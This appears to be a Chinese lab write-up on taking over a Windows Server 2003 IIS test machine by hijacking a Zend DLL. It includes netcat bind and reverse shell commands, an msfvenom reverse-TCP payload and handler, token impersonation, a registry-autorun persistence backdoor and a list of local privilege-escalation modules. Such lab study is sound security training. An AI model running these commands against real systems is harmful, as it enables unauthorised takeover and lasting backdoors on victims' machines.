我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
在php里面有一个扩展是zend。
IIS6.0 在启动的时候或进程重启的时候,当有用户访问php网页,则会加载我们伪造的ZendExtensionManager.dll文件,该伪造的文件通过hack工具可以实现反弹Shell功能。
限制1 | 限制2 |
---|---|
服务器安装zend | ZendExtensionManager.dll 所在目录需要文件可读可写 |
工具 | 功能 |
---|---|
Zend_DLL_Hijacking_for_nc.exe | nc正向连接 |
Zend_DLL_Hijacking.exe | 执行程序 |
已经获得了靶机的一个webshell,且zend.dll是可读可写的。
正向获取shell | 反向获取shell |
---|---|
被控制端:nc -lvp 8080 -e /bin/bash | 被控制端:nc -e /bin/bash ip 8080 |
控制端:nc ip 8080 | 控制端:nc -lv 8080 |
判断正反向的标准 | 正反向获取shell的相同点 |
---|---|
从控制端到被控制端这个方向来看,若是被控的开的侦听则是正向,若控制端开的侦听是反向。 | 无论是正向还是反向,都是被控端把shell传送给控制端。 |
1.靶机环境:
(1)虚拟机WindowsServer2003【upload.moonteam.com】【192.168.97.132】
(2)脚本语言环境:php/asp语言环境存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
URL:http://upload.moonteam.com/upload_4.php
第一步:通过MIME类型检测突破白名单限制获取webshell
【获取webshell过程略】,以下是提权过程:
第二步: 通过蚁剑连接webshell从而找到ZendExtensionManager.dll的位置为C:\ZkeysSoft\Zend\ZendOptimizer-3.3.3\lib,并且通过phpinfo探针发现zend确实安装了。
如下图所示,发现ZendExtensionManager.dll文件所在位置是C:\ZkeysSoft\Zend\ZendOptimizer-3.3.3\lib:
第三步:上传wt.asp检测目录可写工具,检测权限是否可写。
如下图所示,访问我们上传的wt.asp工具,提交检测C:\ZkeysSoft\文件夹,发现lib目录是可读可写的:
第四步:上传nc和cmd到回收站目录下(因为一定可读可写),然后修改原来的zendextensionmanager.dll的名字为1.dll,并通过工具生成我们伪造的dll文件,然后上传到原来位置,从而让我们可以在IIS重启访问php页面的时候正向获取shell
如下图所示,成功的上传了cmd.exe和nc.exe到C:/recycler目录下:
如下图所示,成功的修改原来处于C:/ZkeysSoft/ZendOptimizer-3.3.3/lib目录下的ZendExtensionManager.dll为1.dll:
如下图所示,填入相关路径信息,然后点击生成dll文件,该dll文件的功能就是开启靶机的9527端口侦听的同时发送shell:
第五步:等待靶机的IIS服务重启后,我们访问任意php页面,则靶机就是触发我们伪造的dll文件,从而开启靶机的9527端口侦听的同时发送shell,我们就可以通过命令【telnet 192.168.97.132 9527】正向连接获取shell了。
如下图所示,我们在等待靶机重启后,访问任意php页面:为了触发dll
如下图所示,我们在靶机上,发现9527端口已打开侦听:
如下图所示,我们通过命令【telnet 192.168.97.132 9527】尝试正向连接Shell:
【出了一些问题,图略】
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.97.130 lport=12345 -f exe > 32.exe
如下图所示,上传攻击载荷32.exe到靶机的C:/CYCLER目录下:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.97.130
set lport 12345
exploit
【重启靶机后,当有人访问php网页的时候,就会加载dll,执行我们的32.exe,那么 msf 就会监听到一个反弹shell。】
如下图所示,重启靶机后,访问php网页:
如下图所示,成功反弹shell到msf上:
如下图所示,发现getsystem提权以及getprivs提权失败:
如下图所示, 键入命令run post/multi/recon/local_exploit_suggester
,获取到8个提权建议
如下图所示,根据之前的某篇内容[传送门],发现以下5个模块是可以使用的,这里我们使用其他模块进行提权:
如下图所示,ms16_075_reflection提权失败,但是也可以在此基础上进行手工提权:
use incognito
list_tokens -u //列出tokens,若结果中没有system,则可以手工上传potato.exe,然后在此执行execute -cH -f C:/RECYCLER/potato.exe
impersonate_token "NT AUTHORITY\\SYSTEM" //提权
getuid //即可显示
如下图所示,ms10_015_kitrap0d可提权为system:
如下图所示,ms15_051_client_copy_image可提权为system:
如下图所示,由于通过 metasploit 拿下主机进入到 meterpreter 后,其 shell 的稳定性比较低,例如若不是通过 ms17010 拿下的主机,而是通过浏览器的漏洞拿下的,当目标的浏览器关闭后,其 shell 就失效了,所以第一件事就是将 meterpreter 绑定到一个目标机的稳定进程上,比如exploer.exe桌面进程或者mysqld.exe数据库进程:
如下图所示,输入migrate 3248
,从而把当前进程迁移进稳定的explorer.exe进程中:
【失败了,图略】
如下图所示,输入run persistence -X -i 5 -p 4444 -r 192.168.97.130
,从而留下持久后门:
-X:表示植入后门
-i 5:表示5秒一次反弹shell
-p:表示反弹的端口
-r:表示反弹给攻击者IP
#语句过程解释:创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->同时把vbs写入目标主机注册表键值实现开机自动运行。
如下图所示,是我们反弹来的持久后门的Shell:
综合以上测试,发现可以给当前Windows Server 2003 x86提权的模块有七个
模块 | 说明 |
---|---|
use exploit/windows/local/ms11_080_afdjoinleaf | 开启了一个新session,进入新session直接就是system |
use exploit/windows/local/ms14_058_track_popup_menu | 开启了一个新session,进入新session直接就是system,这个提权可以跟上一个提权并存 |
use exploit/windows/local/ms14_070_tcpip_ioctl | 开启了一个新session,进入新session直接就是system,这个提权只能单独使用 |
use exploit/windows/local/ms_ndproxy | 没有开启新session,需要手动进入原来session,直接getuid就是system权限 |
use exploit/windows/local/ppr_flatten_rec | 没有开启新session,需要手动进入原来session,再去getsystem提权 |
use exploit/windows/local/ms16_075_reflection | 开启了新session,但是需要手工伪造令牌提权 |
use exploit/windows/local/ms10_015_kitrap0d | 开启了新session,进去直接就是system |
use exploit/windows/local/ms15_051_client_copy_image | 开启了新session,进去直接就是system |